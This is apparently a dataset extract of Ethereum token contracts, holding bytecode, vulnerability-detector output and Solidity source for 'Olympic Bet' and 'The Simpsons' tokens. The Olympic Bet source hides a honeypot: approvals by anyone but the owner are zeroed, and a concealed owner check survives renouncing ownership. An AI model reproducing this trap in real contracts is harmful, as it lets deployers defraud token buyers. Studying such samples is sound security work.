0x608060405234801561001057600080fd5b50600436106100b45760003560e01c8063a3d272ce11610071578063a3d272ce146101f2578063a8660a7814610236578063c4b6c5fa14610254578063ec715a311461030c578063efca2eed14610316578063f2fde38b14610334576100b4565b80631db87be8146100b95780631f8db268146101035780633a05f0d814610121578063715018a6146101805780637e1c0c091461018a5780638da5cb5b146101a8575b600080fd5b6100c1610378565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61010b61039e565b6040518082815260200191505060405180910390f35b6101296103a5565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b8381101561016c578082015181840152602081019050610151565b505050509050019250505060405180910390f35b6101886103fd565b005b610192610585565b6040518082815260200191505060405180910390f35b6101b061058b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102346004803603602081101561020857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506105b4565b005b61023e6106c1565b6040518082815260200191505060405180910390f35b61030a6004803603602081101561026a57600080fd5b810190808035906020019064010000000081111561028757600080fd5b82018360208201111561029957600080fd5b803590602001918460208302840111640100000000831117156102bb57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192905050506106c7565b005b61031461080c565b005b61031e610abe565b6040518082815260200191505060405180910390f35b6103766004803603602081101561034a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ac4565b005b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b62278d0081565b606060028054806020026020016040519081016040528092919081815260200182805480156103f357602002820191906000526020600020905b8154815260200190600101908083116103df575b5050505050905090565b610405610cd1565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60055481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6105bc610cd1565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461067d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60045481565b6106cf610cd1565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610790576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60006004541461079f57600080fd5b80600290805190602001906107b5929190610d61565b5060008090505b600280549050811015610808576107f5600282815481106107d957fe5b9060005260206000200154600554610cd990919063ffffffff16565b60058190555080806001019150506107bc565b5050565b60006002805490501161081e57600080fd5b61082661058b565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806108ac5750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b6108b557600080fd5b60006004541415610907576108c861058b565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146108ff57600080fd5b426004819055505b600060075490505b600280549050811015610abb5762278d0060075402600454014210610aa957600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16670de0b6b3a7640000600285815481106109a557fe5b9060005260206000200154026040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610a1a57600080fd5b505af1158015610a2e573d6000803e3d6000fd5b505050506040513d6020811015610a4457600080fd5b810190808051906020019092919050505050610a8260028281548110610a6657fe5b9060005260206000200154600654610cd990919063ffffffff16565b600681905550610a9e6001600754610cd990919063ffffffff16565b600781905550610aae565b610abb565b808060010191505061090f565b50565b60065481565b610acc610cd1565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b8d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610c13576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180610dd46026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600080828401905083811015610d57576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b828054828255906000526020600020908101928215610d9d579160200282015b82811115610d9c578251825591602001919060010190610d81565b5b509050610daa9190610dae565b5090565b610dd091905b80821115610dcc576000816000905550600101610db4565b5090565b9056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373a264697066735822122071000f4d21f3ecf9786900cd34cec43ee18cd0a5ed0f222212d5488900c3810f64736f6c63430006060033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 6,136 |
0xf9455e84835b091cc0095ae2dc58f349018da6a2
|
/*
OOOOOOOOO OOOOOOOOO OOOOOOOOO OOOOOOOOO OOOOOOOOO
OO:::::::::OO OO:::::::::OO OO:::::::::OO OO:::::::::OO OO:::::::::OO
OO:::::::::::::OO OO:::::::::::::OO OO:::::::::::::OO OO:::::::::::::OO OO:::::::::::::OO
O:::::::OOO:::::::OO:::::::OOO:::::::OO:::::::OOO:::::::OO:::::::OOO:::::::OO:::::::OOO:::::::O
O::::::O O::::::OO::::::O O::::::OO::::::O O::::::OO::::::O O::::::OO::::::O O::::::O
O:::::O O:::::OO:::::O O:::::OO:::::O O:::::OO:::::O O:::::OO:::::O O:::::O
O:::::O O:::::OO:::::O O:::::OO:::::O O:::::OO:::::O O:::::OO:::::O O:::::O
O:::::O O:::::OO:::::O O:::::OO:::::O O:::::OO:::::O O:::::OO:::::O O:::::O
O:::::O O:::::OO:::::O O:::::OO:::::O O:::::OO:::::O O:::::OO:::::O O:::::O
O:::::O O:::::OO:::::O O:::::OO:::::O O:::::OO:::::O O:::::OO:::::O O:::::O
O:::::O O:::::OO:::::O O:::::OO:::::O O:::::OO:::::O O:::::OO:::::O O:::::O
O::::::O O::::::OO::::::O O::::::OO::::::O O::::::OO::::::O O::::::OO::::::O O::::::O
O:::::::OOO:::::::OO:::::::OOO:::::::OO:::::::OOO:::::::OO:::::::OOO:::::::OO:::::::OOO:::::::O
OO:::::::::::::OO OO:::::::::::::OO OO:::::::::::::OO OO:::::::::::::OO OO:::::::::::::OO
OO:::::::::OO OO:::::::::OO OO:::::::::OO OO:::::::::OO OO:::::::::OO
OOOOOOOOO OOOOOOOOO OOOOOOOOO OOOOOOOOO OOOOOOOOO
____ __ _ ____ __
/ __ \/ /_ ______ ___ ____ (_)____/ __ )___ / /_
/ / / / / / / / __ `__ \/ __ \/ / ___/ __ / _ \/ __/
/ /_/ / / /_/ / / / / / / /_/ / / /__/ /_/ / __/ /_
\____/_/\__, /_/ /_/ /_/ .___/_/\___/_____/\___/\__/
/____/ /_/
Olympic Bet - $OLMP
✨Telegram: https://t.me/olympicbetofficial
✨Twitter : https://twitter.com/olympic_bet
✨Website : https://olympicbet.io
Total Supply : 1 Trillion
Ecosystem : 15% of Total Supply
Marketing : 5% of Total Supply
Dev Fee : 3%
Ecosystem Fee : 7%
*/
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address private newComer = _msgSender();
modifier onlyOwner() {
require(newComer == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
contract olympic is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _tTotal = 1000 * 10**9 * 10**18;
string private _name = 'OlympicBet | https://t.me/olympicbetofficial';
string private _symbol = '$OLMP';
uint8 private _decimals = 18;
constructor () public {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function _approve(address ol, address tt, uint256 amount) private {
require(ol != address(0), "ERC20: approve from the zero address");
require(tt != address(0), "ERC20: approve to the zero address");
if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); }
else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); }
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212204b0b4cbdd8ad9885bb53724a14a760c9ac440464e92c94faf615947a534582af64736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 6,137 |
0xb94230a3d2731f0f82a697e29e5bf4cc67e76bf3
|
/**
The Simpsons token
https://t.me/TheSimpsonToken
**/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract Simpsons is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "The Simpsons";
string private constant _symbol = "SIMPSONS";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 2;
uint256 private _teamFee = 8;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 2;
_teamFee = 8;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
